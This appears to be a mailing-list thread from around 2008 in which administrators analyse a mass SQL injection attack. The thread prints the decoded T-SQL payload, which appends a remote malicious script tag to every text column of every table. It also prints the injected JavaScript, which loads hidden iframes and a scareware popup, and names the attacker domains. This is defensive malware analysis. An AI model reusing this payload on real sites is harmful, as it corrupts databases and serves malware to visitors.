See if this helps:

http://isc.sans.org/diary.html?storyid=4565&rss

I wrote:

Never mind. I found a conversion tool:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND
a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www.dl251.com/b.js></script>''') FETCH NEXT FROM Table_Cursor
INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Fortunately, this could not exec on my system. But once they start the
clowns just never give up. I checked a couple more querystrings, the only
difference is the domain name where the javascript is stored. 2 were
registered with DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A
PUBLICDOMAINREGISTRY.COM and another with XIN NET TECHNOLOGY CORPORATION.
Neither ISP has contact info. The javascript tries to put an iframe on the
page, with content from kadport.com/cgi-bin/index.cgi?ad. I did not look to
see what is dispensed from that script.

nf

<snip>

This is the decoded output; it appears to be a script to traverse the
database 'n' populate all string columns with a reference to a malicious
script;

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects
a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script
src=http://www.dl251.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor

The culprit here's located at www.dl251.com, hosted on a botnet.

The output of the injected JavaScript is;

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("updatebng=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+12*1*60*60*1000);
document.cookie = "updatebng=update;expires="+expires.toGMTString();
try{
document.write("<iframe src=http://pid76.net/cgi-bin/index.cgi?ad width=0
height=0 frameborder=0></iframe>");
}
catch(e)
{
};

This points us to pid76.net, surprise surprise, another botnet-hosted
domain.

The common link here is a GoogleMail drop-box (likely irrelevant, but I do
like making these drop-boxes available for spam scrapers),
onlymailru@gmail.com

Now, onto the payload itself...

http://pid76.net/cgi-bin/index.cgi?ad redirects to
http://pid76.net/cgi-bin/ad.cgi

This in turn throws out an embedded JavaScript, which eventually leads us to
our real culprits, malware vendors selling bogus software by infecting the
victim's computer then offering to clean it for a fee;

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("updatead=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+24*1*60*60*1000);
document.cookie = "updatead=update;expires="+expires.toGMTString();
try{
if((navigator.userLanguage.toLowerCase() ==
"en-us")||(if(navigator.userLanguage.toLowerCase() == "en"))) {
 w=window.open("http://spyware-quick-scan.com?wmid=1041&l=14&it=1&s=4t","w","location=0,status=0
,toolbar=0,menubar=0,directories=0,resizable=0,scrollbars=0,width=750,height=770");
 w.moveTo(0,0);
}
}
catch(e)
{
};

spyware-quick-scan.com is hosted by APS Telecom, a known spam/scam/malware
haven.

Domain registration is, as would be expected, entirely bogus (though in this
instance they didn't even attempt to hide the fact with fake data);

Domain Name: SPYWARE-QUICK-SCAN.COM
Registrant:
   n/a
   Shmid        (shmid@mikitos.com)
   n/a
   n/a
   n/a
   n/a
   ,000000
   US
   Tel. +999.999999999

I've lodged a complaint with the registrar in question, but even if action's
taken, I'm sure it won't cripple the perpetrators for longer than a few
hours.

- Bob.

Hi
See Tony's article  as well
http://sqlblogcasts.com/blogs/tonyrogerson/archive/2008/06/28/if-only-you-d-used
-stored-procedures-you-wouldn-t-have-got-hacked.aspx